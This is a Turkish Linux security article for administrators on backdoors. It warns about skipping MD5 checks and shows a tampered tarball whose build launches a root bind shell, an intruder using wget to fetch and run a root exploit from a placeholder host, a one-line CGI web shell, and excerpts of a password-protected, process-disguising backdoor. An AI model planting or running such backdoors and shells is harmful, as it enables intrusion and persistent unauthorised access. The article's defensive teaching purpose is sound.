LINUX Güvenlik AçıklarıArkakapılar sistemin güvenlik çemberinde ne derece düzensizlikler oluştururlar?
Bu düzensizliğin boyutu nedir?
Sistem yöneticisi arkakapının varlığını nasıl anlayabilir?
Yoksa benim yönettiğim sisteme kimse girip delik açamaz mı diyorsunuz?
Bilgi, ulaşmak istediği hedefteki kapıda, küçük aralık bulduğu anda bu aralıktan kendisini
hedefe doğru bırakır. "Kapıda neden aralık var?" suallini sormadan içeri süzülür.
Bilgilerinizi, bahçesini davetsiz misafirlere karşı dikenli tellerle koruyan bir kişi
gibi güvenlik çemberiyle koruyabilirsiniz.
Fakat sisteminize saygıdeğer bir misafir gibi gelip, sonra sizin rızanız olmadan
sisteminizi tekrar ziyaret etmek isteyebilir(Kesin bu misafire dalgınlıkla şekerleme sundunuz).
Neticesinde ozenle duzenlediğiniz bahçeniz bir anda istemediğiniz bir boyuta gelebilir.
En değerli ürünleriniz yani özenle bakıp büyüttüğünüz bilgileriniz bir anda başka bahçelerde
bulunabilir. Hemde ürününüzün hangi ellere geçtiğini bilmeden.
Eğer bilgileriniz değerliyse(bilginin değersizi olur mu bilmem?) bunların çevresini
kuşatan telleri devamlı kontrol etmek sizi rahatlatır. Kontrolleriniz esnasında bu tellerin
en küçük bir yerinde pas gördüğünüz anda gerekli bakımı yapmak bahçenizin yeşilliğini
koruyacaktır.
Sistemimize bir sürü dosya yükleriz. Bazen, yüklediğimiz dosyaların yaratacağı sorunları
düşünmeden sisteme kurarız. Ya unutkanlıktan yada üşengeçlikten sisteme indirilen
yazılımların güvenilirlik kontrollerini yapmayız. Kimbilir belki gönül rahatlığıyla
kurduğunuz dosyaların sisteminizde bir arkakapı oluşturma olasılığını gözardı ediyorsunuzdur.
Yazılımın Web sitesinde belirtilen MD5 kontrolu:
file.tar.gz
18a8284860c5c9940c57e03aac4a9911
Bizim yaptığımız file.tar.gz'nin kontrolu:
$ md5sum file.tar.gz
64dc31bf20ace98a7200d39da7d0d1a2
Sonuçlar farklı. Üstünde düşünülmesi gereken bir durum. Dikkat!!!!
Üşenip md5 kontrolunu yapmadan, çektiğimiz dosyayı sisteme kurduğumuzu düşünelim.
[baglik@eregli Kod]# tar zxvf file.tar.gz
file
file/getconn.c
file/Makefile
file/config.c
file/main.c
file/common.h
file/file.c
[baglik@eregli file]# make
cc -Wall -g `l****t-config --cflags --defines` -c getconn.c
getconn.c: In ******** `getconn':
getconn.c: warning: implicit declaration of ******** `exit'
cc config.c -o config
./config &
cc -Wall -g `l****t-config --cflags --defines` -c main.c
cc -Wall -g `l****t-config --cflags --defines` -c file.c
cc -o file getconn.o main.o file.o -L/usr/local/lib -lpcap `l****t-config --libs`
Dikkatli kullanıcı hemen ./config & satırını görünce bir anda şüpheye düşer.
Bu config.c isimli dosya incelendiğinde sistemde arka kapıya neden olan kod olduğu
anlaşılır.
[baglik@eregli file]# pico config.c
...
...
#define port 60000
#define shell "/bin/sh"
...
...
execl(shell,shell,(char *)0);
...
...
Bu açık portu fark eden kişi:
[yabanci@operim yabanci]$ telnet eregli.sistem 60000
Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root) <-- arka kapı sınırları yeniden çizer.
-- dosya root yetkisiyle kurulduğundan
-- sistem yöneticisine tozlu rüyalar gördürür.
Eğer bu file.tar.gz isimli dosyayı herhangi bir kullanıcı(root yetkisine sahip olmayan)
sisteme kurduysa;
[yabanci@operim yabanci]$ telnet eregli.sistem 60000
Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
id;
uid=501(k.mi) gid=501(k.mi) groups=501(student) <-- normal kullanıcı modunda.
-- Saldırgan sistemde root
-- olmak için elinden geleni
-- yapmaya calışacaktır.
uname -a;
Linux eregli.sistem 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown
cat /etc/redhat-release;
Mandrake Linux release 8.2 (Bluebird) for i586
cd /tmp;
pwd;
/tmp
/usr/bin/wget
http://exploit.sitesi/dosya/8.2/op_beni.c; --00:58:43--
http://exploit.sitesi/dosya/8.2/op_beni.c => `op_beni.c'
Connecting to exploit.sitesi:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,767 [text/plain]
0K ...... 100%
00:58:43 .....`op_beni.c' saved [6767/6767]
ls;
dcopGByrhp
dcopYfUXJw
kde-root
ksocket-root
mcop-root
op_beni.c <-- Sisteme indirilip derlenmek istenen dosya.
/bin/gcc -o op_beni op_beni.c;
ls;
dcopGByrhp
dcopYfUXJw
kde-root
ksocket-root
mcop-root
op_beni <-- Derlenmiş hali.
op_beni.c
./op_beni; <-- Exploit çalıştırılıyor.
[*] Wait ....
[*] Wait ......
[*] muck ... muck ... muck ... muck
[*] Bingo
id;
uid=0(root) gid=0(root) groups=0(root) <-- Sınırları zorlama zamanı
Sisteminize ait herhangi bir kullanıcının şifresini elde eden saldırgan, sisteme
tekrar bağlanmak için(özellikle şifre değişmesi halinde) sistemde arka kapı bırakma
olasılığı fazladır. Bu arka kapının türü tamamıyla saldırganın hayal gücüne kalmıştır.
Saldırganın gerçekleştirebileceği arka kapılardan bazıları:
- Belli süre zarfında içinde geçerli olacak arka kapı açma
- Herhangi bir servis açma
- Kernel arka kapıları
- Dosyaların içine gizlenilen arka kapılar
- Rootkitlerin yardımıyla kurulan arka kapılar
Saldırganın amacı(hepsi için geçerli değil) elindeki güzellikleri kaybetse de sistemde
olabildiğince uzun yaşamak.
Ayrıca sunucuda gezinen bir davetsiz misafir .php .cgi tipi kodlarla sistemde bir gedik
oluşturabilir.
Örnegin;
Aşağıdaki komut.cgi isimli dosyayı sunucunun /cgi-bin dizinine yükleyen misafir, Web
göstericiler üzerinden sistemde kodlarda çalıştırabilir.
#komut.cgi
#!/bin/sh
echo Content-type: text/html
echo
echo "
"
$*
[eregli@eregli eregli]$ lynx http://arkakapili.sistem/cgi-bin/komut.cgi?ls%20/etc
Bastille
DIR_COLORS
X11
adjtime
aliases
aliases.db
alternatives
anacrontab
apcupsd
at.deny
bashrc
conf.linuxconf
..
..
-- press space for next page --
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
Davetsiz misafir, sistem yöneticisi durumuna geldiğinde tekrar sisteme bağlanmak
istediğinde yapacağı eğilimlerden biri olarak sistemde açık kapı bırakmak olduğunu
belirtmiştim. Bıraktığı açık kapıdan sisteme sadece kendisi bağlanabilmesi için kapıya
kilit yani şifre koyar. şifre girildiğinde kapı ardına kadar açılır ve parmaklarıyla
sistemde gezinmeye başlar. Saldırgan, sistem yöneticisinin, sistemde calışan uygulamaları
görmek istemesi durumunda sahte isimlerle karşılaşması için açık kapı bırakan
uygulamalarda kod değişikliği yapabilir.
#include
#include
....
#define SHELL "/bin/sh"
#define SARG "-i"
#define PASSWD "ACIL_KAPI"
#define PORT 6767
#define FAKEPS "httpd"
#define SHELLPS "klogd"
...
int main (int argc, char *argv[])
{
...
static char *pass = PASSWD;
...
strcpy(argv[0], FAKEPS);
signal(SIGCHLD, SIG_IGN);
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit (-1);
...
execv(SHELL, sargv);
...
exit(0);
**
[eregli@eregli eregli]$ ssh -l avicenna arkakapili.sistem
avicenna@arkakapili's password:
Last login: Mon Apr 14 01:52:00 2003 from xxx.yyy.zzz.ttt
[avicenna@arkakapili avicenna]$ cd /tmp
[avicenna@arkakapili tmp]$ mkdir .mail
[avicenna@arkakapili tmp]$ cd .mail
[avicenna@arkakapili .mail]$ cat > net.c
#include
#include
....
#define SHELL "/bin/sh"
#define SARG "-i"
#define PASSWD "ACIL_KAPI"
#define PORT 6767
#define FAKEPS "httpd"
#define SHELLPS "klogd"
...
int main (int argc, char *argv[])
{
...
static char *pass = PASSWD;
...
[avicenna@arkakapili .mail]$ gcc -o net net.c
Bu esnada saldırgan sisteme root olarak girmek için açık kapıyı root durumda bırakmak
isteyecektir. Bu nedenle normal kullanıcıdan root moduna geçmek için exploitleri deneyecektir.
Yani anlayacağınız sistem, sıfırdan vurulmak için bir deneme tahtası olacaktır(uid=0).
Hedefi sıfırdan vurduğunda açık kapı bırakma işlemi başlamıştır.
[root@arkakapili .mail]# ./net &
Sistemde açık kapı bırakılmadan önce yapılan port taramasının sonucu:
[root@eregli eregli]# nmap -p 1-10000 arkakapili.sistem
Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on arkakapili.sistem (xxx.xxx.xxx.xxx):
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop-3
443/tcp open https
3306/tcp open mysql